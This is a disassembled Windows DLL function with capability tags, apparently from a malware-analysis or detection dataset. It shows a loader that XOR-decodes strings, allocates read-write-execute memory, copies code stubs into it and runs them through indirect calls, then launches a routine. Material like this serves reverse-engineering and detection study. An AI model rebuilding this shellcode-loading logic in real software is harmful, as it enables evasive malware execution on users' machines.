Function at 0x18008df70
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48]
sub rsp, 0x120
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
mov rax, qword [0x180152040]
xor rax, rsp
mov qword [rbp - 0x28], rax
mov r15, rcx
cmp edx, 1
jne 0x18008ec22
call fcn.180064380
test al, al
je 0x18008ec22
call fcn.180058be0
movsd xmm0, qword [0x18013bad0]
movsd qword [rsp + 0x40], xmm0
mov ecx, dword [0x18013bad8]
mov dword [rsp + 0x48], ecx
movzx eax, word [0x18013badc]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x18013bade]
mov byte [rsp + 0x4e], al
xor r13d, r13d
mov r8d, r13d
movdqa xmm6, xmmword [0x18013d190]
movdqa xmm8, xmmword [0x18013d1e0]
movdqa xmm7, xmmword [str.::::]
movdqa xmm5, xmmword [0x18013d300]
movdqa xmm2, xmmword [0x18013d110]
movdqa xmm3, xmmword [0x18013d140]
movdqa xmm4, xmmword [0x18013d130]
mov esi, dword [0x180152098]
cmp esi, 2
jl 0x18008e174
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
movd xmm0, dword [0x18013bad0]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm4
punpckldq xmm1, xmm4
pmuldq xmm1, xmm5
movdqa xmm0, xmm4
punpckhdq xmm0, xmm4
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm4
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
movd xmm0, dword [rsp + 0x44]
xorps xmm1, xmm0
movd dword [rsp + 0x44], xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
movdqa xmm1, xmm3
psubd xmm1, xmm0
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm8
movd xmm0, ecx
xorps xmm1, xmm0
movd dword [rsp + 0x48], xmm1
mov r8d, 0xc
mov eax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x18008e180
movups xmm9, xmmword [0x18013aba0]
movups xmmword [rbp - 0x40], xmm9
mov edx, dword [0x18013abb0]
mov dword [rbp - 0x30], edx
cmp byte [0x18013abb3], r13b
je 0x18008e3fa
mov r8d, r13d
cmp esi, 2
jl 0x18008e3cd
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd ecx, xmm8
movd xmm0, ecx
paddb xmm2, xmm0
movd eax, xmm9
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rbp - 0x40], xmm2
movdqa xmm1, xmm4
punpckldq xmm1, xmm4
pmuldq xmm1, xmm5
movdqa xmm0, xmm4
punpckhdq xmm0, xmm4
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm4
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm4, xmm0
andps xmm4, xmm6
packuswb xmm4, xmm4
packuswb xmm4, xmm4
movd xmm0, ecx
paddb xmm4, xmm0
movd xmm1, dword [rbp - 0x3c]
xorps xmm4, xmm1
movd dword [rbp - 0x3c], xmm4
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, dword [rbp - 0x38]
xorps xmm3, xmm1
movd dword [rbp - 0x38], xmm3
movdqa xmm2, xmmword [0x18013d150]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm5
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x34]
xorps xmm2, xmm1
movd dword [rbp - 0x34], xmm2
movdqa xmm3, xmmword [0x18013d160]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, ecx
paddb xmm3, xmm0
movd xmm1, edx
xorps xmm3, xmm1
movd dword [rbp - 0x30], xmm3
jmp 0x18008e3fa
lea r9, [rbp - 0x40]
mov eax, 0x8d3dcb09
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x14
jl 0x18008e3d1
mov rax, qword [0x1803f2130]
xor edx, edx
lea rcx, [rsp + 0x40]
call rax
mov rbx, rax
mov r8, qword [0x1803f2130]
xor edx, edx
lea rcx, [rbp - 0x40]
call r8
mov r14, rax
movabs rcx, 0xff00ff00ff00ff00
lea r8, [0x180092330]
lea r12, [0x180000000]
mov edi, 3
test rbx, rbx
je 0x18008e731
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
lea rax, [rbp + 0x48]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x40], rbx
mov qword [rax], r13
mov ecx, r13d
mov rax, qword [0x1803f5c00]
test rax, rax
je 0x18008e4a1
mov rdx, r13
cmp rax, r8
je 0x18008e490
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x3f5c00]
test rax, rax
jne 0x18008e478
jmp 0x18008e4a1
mov r8, qword [r12 + rdx*8 + 0x3f3300]
test r8, r8
jne 0x18008e58f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea r9, [0x180092330]
test rax, rax
jne 0x18008e4d1
mov r8, r13
jmp 0x18008e56e
mov rax, r9
mov rcx, r8
mov rdx, rdi
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x18008e4e0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1803f6ed0]
mov qword [r12 + rax*8 + 0x3f5c00], r9
mov qword [r12 + rax*8 + 0x3f3300], r8
inc rax
mov qword [0x1803f6ed0], rax
lea rcx, [0x180064fc0]
call r8
nop
movabs rcx, 0xff00ff00ff00ff00
xor rbx, rcx
lea rax, [rbp + 0x48]
mov qword [rax], rbx
mov dword [rsp + 0x30], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x38], rcx
lea rax, [rbp + 0x48]
mov qword [rbp - 0x30], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x40], rbx
mov qword [rax], r13
mov ecx, r13d
mov rax, qword [0x1803f4900]
test rax, rax
je 0x18008e619
mov rdx, r13
lea r8, [0x180092580]
nop
cmp rax, r8
je 0x18008e608
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x3f4900]
test rax, rax
jne 0x18008e5f0
jmp 0x18008e619
mov r8, qword [r12 + rdx*8 + 0x3f4f40]
test r8, r8
jne 0x18008e706
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x18008e642
mov r8, r13
jmp 0x18008e6de
lea rax, [0x180092580]
mov rcx, r8
mov rdx, rdi
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x18008e650
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1803f2970]
lea rcx, [0x180092580]
mov qword [r12 + rax*8 + 0x3f4900], rcx
mov qword [r12 + rax*8 + 0x3f4f40], r8
inc rax
mov qword [0x1803f2970], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call r8
nop
movabs rcx, 0xff00ff00ff00ff00
xor rbx, rcx
lea rax, [rbp + 0x48]
mov qword [rax], rbx
lea r8, [0x180092330]
test r14, r14
je 0x18008ea13
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
lea r14, [rbp + 0x48]
mov qword [rbp - 0x38], rcx
mov qword [rbp - 0x30], r14
mov rbx, qword [r14]
xor rbx, rcx
mov qword [rbp - 0x40], rbx
mov qword [r14], r13
mov ecx, r13d
mov rax, qword [0x1803f5c00]
test rax, rax
je 0x18008e799
mov rdx, r13
nop dword [rax]
cmp rax, r8
je 0x18008e788
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x3f5c00]
test rax, rax
jne 0x18008e770
jmp 0x18008e799
mov r8, qword [r12 + rdx*8 + 0x3f3300]
test r8, r8
jne 0x18008e881
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea r9, [0x180092330]
test rax, rax
jne 0x18008e7c9
mov r8, r13
jmp 0x18008e860
mov rax, r9
mov rcx, r8
mov rdx, rdi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x18008e7d2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1803f6ed0]
mov qword [r12 + rax*8 + 0x3f5c00], r9
mov qword [r12 + rax*8 + 0x3f3300], r8
inc rax
mov qword [0x1803f6ed0], rax
lea rcx, [0x180064fc0]
call r8
nop
movabs rcx, 0xff00ff00ff00ff00
xor rbx, rcx
mov qword [r14], rbx
mov dword [rsp + 0x30], 1
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x38], rcx
lea rax, [rbp + 0x48]
mov qword [rbp - 0x30], rax
mov rbx, qword [rax]
xor rbx, rcx
mov qword [rbp - 0x40], rbx
mov qword [rax], r13
mov ecx, r13d
mov rax, qword [0x1803f4900]
lea r14, [0x180092580]
test rax, rax
je 0x18008e909
mov rdx, r13
nop dword [rax]
cmp rax, r14
je 0x18008e8f8
inc ecx
mov edx, ecx
mov rax, qword [r12 + rcx*8 + 0x3f4900]
test rax, rax
jne 0x18008e8e0
jmp 0x18008e909
mov r9, qword [r12 + rdx*8 + 0x3f4f40]
test r9, r9
jne 0x18008e9ef
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x18008e932
mov r9, r13
jmp 0x18008e9ce
mov rcx, r14
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdi, 1
jne 0x18008e940
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x1803f2970]
mov qword [r12 + rax*8 + 0x3f4900], r14
mov qword [r12 + rax*8 + 0x3f4f40], r9
inc rax
mov qword [0x1803f2970], rax
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
call r9
nop
movabs rcx, 0xff00ff00ff00ff00
xor rbx, rcx
lea rax, [rbp + 0x48]
mov qword [rax], rbx
movups xmm0, xmmword [str.FPZ]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x18013b790]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x18013b7a0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x18013b7b0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x18013b7c0]
movups xmmword [rbp - 0x70], xmm0
movups xmm1, xmmword [0x18013b7d0]
movups xmmword [rbp - 0x60], xmm1
mov eax, dword [0x18013b7e0]
mov dword [rbp - 0x50], eax
movzx eax, word [0x18013b7e4]
mov word [rbp - 0x4c], ax
mov r8d, r13d
cmp esi, 2
jl 0x18008eb9f
movdqa xmm4, xmmword [0x18013d110]
movdqa xmm3, xmmword [0x18013d300]
movdqa xmm5, xmmword [str.::::]
movdqa xmm0, xmmword [0x18013d1e0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x54]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x18008eab0
cmp r8d, 0x66
jge 0x18008ebe3
movsxd rax, r8d
lea r9, [rsp + 0x50]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x66
jl 0x18008ebb0
mov r8, qword [0x1803f2130]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call r8
test rax, rax
je 0x18008ec22
mov r10, qword [0x1803f1ff0]
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
mov r9, r15
lea r8, [0x18008b790]
xor edx, edx
xor ecx, ecx
call r10
mov qword [0x1803f20f8], rax
mov eax, 1
mov rcx, qword [rbp - 0x28]
xor rcx, rsp
call fcn.1800fed70
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret